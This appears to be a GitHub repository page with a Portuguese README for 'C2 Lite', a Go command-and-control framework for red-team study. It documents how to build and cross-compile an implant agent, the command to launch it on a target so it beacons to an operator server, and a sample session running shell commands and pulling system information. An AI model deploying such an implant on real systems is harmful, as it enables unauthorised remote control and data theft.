Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

C2 Lite

Go Security License

Framework C2 (Command and Control) leve escrito em Go. Consiste em um server interativo e um agent que faz callback periodico. Toda comunicacao e cifrada com AES-256-GCM.

AVISO: Projeto educacional para estudo de tecnicas de red team. O uso sem autorizacao e ilegal.


Features

  • Server com shell interativo estilo Metasploit
  • Agent multi-plataforma (Linux, macOS, Windows)
  • Comunicacao cifrada com AES-256-GCM sobre HTTP
  • Beacon periodico com checkin de status
  • Execucao remota de comandos shell
  • Coleta de informacoes do sistema
  • Download de arquivos do alvo
  • Fila de comandos por agent
  • Suporte a multiplos agents simultaneos

Instalacao

git clone https://github.com/ispectr3/c2-lite.git
cd c2-lite

# Compilar server
go build -o c2-server ./server/

# Compilar agent
go build -o c2-agent ./agent/

Cross-compile do agent para Windows

GOOS=windows GOARCH=amd64 go build -o c2-agent.exe ./agent/

Uso

Iniciar o server

# Porta padrao 4443
./c2-server

# Porta e chave customizadas
C2_PORT=8080 C2_KEY="minha-chave-secreta" ./c2-server

Iniciar o agent (na maquina alvo)

C2_SERVER="http://10.10.10.1:4443" C2_KEY="minha-chave-secreta" ./c2-agent

Comandos do server

Comando Descricao
agents Listar agents conectados
use <id> Selecionar agent pelo ID
shell <cmd> Executar comando no agent
sysinfo Info do sistema do agent
download <path> Baixar arquivo do agent
kill Encerrar agent selecionado
back Desselecionar agent
exit Encerrar server

Exemplo de sessao

c2 > agents
ID         HOSTNAME        USER         OS       PID    LAST SEEN
---------------------------------------------------------------------------
srv-PC-44  target-pc       admin        linux    1337   2s [ALIVE]

c2 > use srv
[*] Agent selecionado: srv-PC-44

c2(srv-PC-4) > sysinfo
[>] Comando enfileirado para srv-PC-44

[<] Resposta de srv-PC-44:
Hostname: target-pc
OS: linux
Arch: amd64
User: admin
...

c2(srv-PC-4) > shell whoami
[>] Comando enfileirado para srv-PC-44

[<] Resposta de srv-PC-44:
admin

Arquitetura

Operador                          Alvo
+----------+    HTTP/AES-256    +----------+
|  Server  | <===============> |  Agent   |
| (shell)  |   /beacon         | (implant)|
|          |   /task            |          |
|          |   /result          |          |
+----------+                   +----------+

Fluxo:
1. Agent faz POST /beacon (checkin periodico)
2. Agent faz GET /task (busca comandos pendentes)
3. Agent executa e faz POST /result (envia output)

Estrutura

c2-lite/
├── server/
│   └── main.go          # Server C2 + shell interativo
├── agent/
│   └── main.go          # Agent/implant
├── shared/
│   ├── protocol.go      # Structs de comunicacao (Command, Response, Beacon)
│   └── crypto.go        # AES-256-GCM encrypt/decrypt
├── go.mod
├── README.md
├── LICENSE
└── .gitignore

Configuracao via env vars

Variavel Descricao Padrao
C2_PORT Porta do server 4443
C2_KEY Passphrase para criptografia chave padrao
C2_SERVER URL do server (agent) http://127.0.0.1:4443

Disclaimer

Este projeto existe puramente para fins educacionais e de pesquisa em seguranca ofensiva. Nao utilize em sistemas sem autorizacao por escrito. O autor nao se responsabiliza por uso indevido.

Licenca

MIT

About

Lightweight C2 framework in Go with encrypted communications and interactive shell

Topics

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages